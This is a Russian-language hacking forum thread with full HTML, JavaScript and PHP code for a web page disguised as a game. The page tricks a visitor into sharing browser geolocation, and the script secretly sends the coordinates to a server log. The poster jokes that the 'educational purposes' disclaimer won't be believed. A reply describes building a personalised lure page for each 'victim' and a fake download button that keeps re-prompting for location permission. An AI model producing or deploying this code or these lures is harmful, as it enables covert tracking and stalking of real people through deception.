Поиск местоположения человека при помощи геолокации

Memory16

Новичок
Статус
offline
Регистрация
19.03.2017
Сообщения
15
Репутация
9
! Создано в ознакомительных целях. (Хотя, кто мне поверит)

Привет всем, я вам расскажу как можно найти человека по IP и дать ему п***ы геолокации используя небольшие знания HTML, JS и PHP.

Маскировать мы будем наш "проект" под якобы игру.

Итак, начнём.

Для начала создадим HTML страничку. (стили записал в HTML страницу, так что не пугайтесь. Просто "проект" был сделан чуть более года назад. Не исключено, что стили кривые)


Создаем файл index.html - это будет наша основа
HTML:
<!DOCTYPE html>

<html>
    <head>
        <title>Quest Bot</title>
        <audio autoplay loop>
            <source src="main_theme.mp3" type="audio/mpeg">
        </audio>
        <script src="geo.js"> </script>
    </head>

    <body>
        <div class="background">
            <div class="BotInstruction"><b class="clr">Привет!</b><br>Для игры требуется ваше местоположение.<br>
                <button class="register" onclick="getLocation()">Найти меня</button>
                <div id="demo"></div>
            </div>
        </div>

    </body>
</html>   
    <style>
        .background{
            position:absolute;
            border:solid 1px green;
            width:98%;
            height:98%;
            background:url('gballs.gif') center no-repeat;
            background-size: 100%;
        }
        .clr{
            color: #5e81a8;
        }
        body{
            background-color:#333;
        }
        .BotInstruction{
            position: absolute;
            border: solid 1px green;
            left: 35%;
            top:40%;
            width: 30%;
        }
        .register{
            position: relative;
            left: 35%;
            background-color:#5e81a8;
            text-align: center;
            border:none;
            line-height: 15px;
             color: #fff;
            border-radius:2px;
            box-sizing: border-box;
            padding: 7px 16px 8px;
            font-size: 12.5px;
        }
    </style>


geo.js - будет запрашивать доступ на геолокацию
Код:
function getLocation() {
    x = document.getElementById("demo");
    if (navigator.geolocation) {
        navigator.geolocation.getCurrentPosition(showPosition);
    } else {
        x.innerHTML = "Geolocation is not supported by this browser.";
    }
}

function showPosition(position) {
    x.innerHTML = position.coords.latitude +"," +position.coords.longitude;
    location.replace("/send.php?login="+x.innerHTML);
}

send.php - отправка данных геолокации.

PHP:
<?php 

$Login = $_GET['login'];

$log=fopen("h4ck.txt","a"); //открываем файл h4ck.txt с правами "a" - запись
fwrite($log,"$Login\n");  //записываем в файл геолокацию
fclose($log); // закрываем файл

?>

Если имеются какие-то пожелания или поправки - пишите, я не против выслушать любую критику в мою сторону. Критика и поправки помогает делать качественную работу.

wa1ULCF.png

И для того чтобы всё работало исправно
скачайте вложение с музыкой и гифкой:
https://drive.google.com/open?id=1D9BqnQ6DkKryrQLruM9P1Nre9ogOKOYZ
 

bastiang19

Местный
Статус
offline
Регистрация
17.05.2017
Сообщения
118
Репутация
66
Зачем всё так усложнять? Тем более это вызовет гораздо больше подозрений, чем если бы мы сделали простое уведомление о разрешении при загрузке страницы.
Да и как это использовать?) Если бы мне какой-то левый чувак скинул сайт с подобной игрой, я бы его послал=)

Лично я делаю персональный сайт для каждой жертвы. Вот пример:
upload_2018-4-17_22-34-0.png


upload_2018-4-17_22-34-15.png

Конечно, нет никаких гарантий, что жертва разрешит местоположение, именно поэтому при нажатии на кнопку "download file" происходит перезагрузка страницы и разрешение всплывает повторно. Тем самым жертва может подумать, что файл не скачивается из-за не разрешения местоположения... Конечно, наивно, но а как иначе?)

Кому интересно будет ознакомиться с отправкой логов в телеграм, то ознакомьтесь с моей темой - https://dark2web.info/threads/58185

Ну и бесплатные домены - https://dark2web.info/threads/53445/


Я ни в коем случае не хотел кого-то обидеть, ты уже молодец, что проделал такое. Просто я хотел донести, что это очень геморный способ, да еще и палевный:Pig Ball
 

Memory16

Новичок
Статус
offline
Регистрация
19.03.2017
Сообщения
15
Репутация
9
Я ни в коем случае не хотел кого-то обидеть, ты уже молодец, что проделал такое. Просто я хотел донести, что это очень геморный способ, да еще и палевный:Pig Ball

Спасибо за критику, но всё же это пример и каждый может переделать под себя это всё, как ему будет удобно)

Я подбросил лишь один из вариантов реализации)
 

Memory16

Новичок
Статус
offline
Регистрация
19.03.2017
Сообщения
15
Репутация
9
[del]
 
Последнее редактирование: